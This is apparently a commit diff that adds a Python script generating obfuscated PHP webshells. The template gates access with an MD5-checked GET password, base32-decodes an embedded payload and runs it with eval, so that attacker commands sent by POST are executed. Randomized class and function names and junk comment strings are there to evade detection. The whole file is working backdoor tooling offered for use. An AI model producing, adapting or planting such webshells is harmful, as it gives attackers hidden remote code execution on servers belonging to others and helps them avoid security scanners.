|
| 1 | +import random |
| 2 | + |
| 3 | +#author: pureqh |
| 4 | +#github: https://github.com/pureqh/webshell |
| 5 | +#use:GET:http://url?pass=pureqh POST:zero |
| 6 | + |
| 7 | +shell = '''<?php |
| 8 | +class {0}{1} |
| 9 | + public ${2} = null; |
| 10 | + public ${3} = null; |
| 11 | + function __construct(){1} |
| 12 | + if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1} |
| 13 | + $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy'; |
| 14 | + $this->{3} = @{9}($this->{2}); |
| 15 | + @eval({5}.$this->{3}.{5}); |
| 16 | + {4}{4}{4} |
| 17 | +new {0}(); |
| 18 | +function {6}(${7}){1} |
| 19 | + $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; |
| 20 | + ${8} = ''; |
| 21 | + $v = 0; |
| 22 | + $vbits = 0; |
| 23 | + for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1} |
| 24 | + $v <<= 8; |
| 25 | + $v += ord(${7}[$i]); |
| 26 | + $vbits += 8; |
| 27 | + while ($vbits >= 5) {1} |
| 28 | + $vbits -= 5; |
| 29 | + ${8} .= $BASE32_ALPHABET[$v >> $vbits]; |
| 30 | + $v &= ((1 << $vbits) - 1);{4}{4} |
| 31 | + if ($vbits > 0){1} |
| 32 | + $v <<= (5 - $vbits); |
| 33 | + ${8} .= $BASE32_ALPHABET[$v];{4} |
| 34 | + return ${8};{4} |
| 35 | +function {9}(${7}){1} |
| 36 | + ${8} = ''; |
| 37 | + $v = 0; |
| 38 | + $vbits = 0; |
| 39 | + for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1} |
| 40 | + $v <<= 5; |
| 41 | + if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1} |
| 42 | + $v += (ord(${7}[$i]) - 97); |
| 43 | + {4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1} |
| 44 | + $v += (24 + ${7}[$i]); |
| 45 | + {4} else {1} |
| 46 | + exit(1); |
| 47 | + {4} |
| 48 | + $vbits += 5; |
| 49 | + while ($vbits >= 8){1} |
| 50 | + $vbits -= 8; |
| 51 | + ${8} .= chr($v >> $vbits); |
| 52 | + $v &= ((1 << $vbits) - 1);{4}{4} |
| 53 | + return ${8};{4} |
| 54 | +?>''' |
| 55 | + |
| 56 | + |
| 57 | +def random_keys(len): |
| 58 | + str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' |
| 59 | + return ''.join(random.sample(str,len)) |
| 60 | + |
| 61 | +def random_name(len): |
| 62 | + str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
| 63 | + return ''.join(random.sample(str,len)) |
| 64 | + |
| 65 | +def build_webshell(): |
| 66 | + className = random_name(4) |
| 67 | + lef = '''{''' |
| 68 | + parameter1 = random_name(4) |
| 69 | + parameter2 = random_name(4) |
| 70 | + rig = '''}''' |
| 71 | + disrupt = "\"/*"+random_keys(7)+"*/\"" |
| 72 | + fun1 = random_name(4) |
| 73 | + fun1_vul = random_name(4) |
| 74 | + fun1_ret = random_name(4) |
| 75 | + fun2 = random_name(4) |
| 76 | + shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2) |
| 77 | + return shellc |
| 78 | + |
| 79 | + |
| 80 | +if __name__ == '__main__': |
| 81 | + print (build_webshell()) |
0 commit comments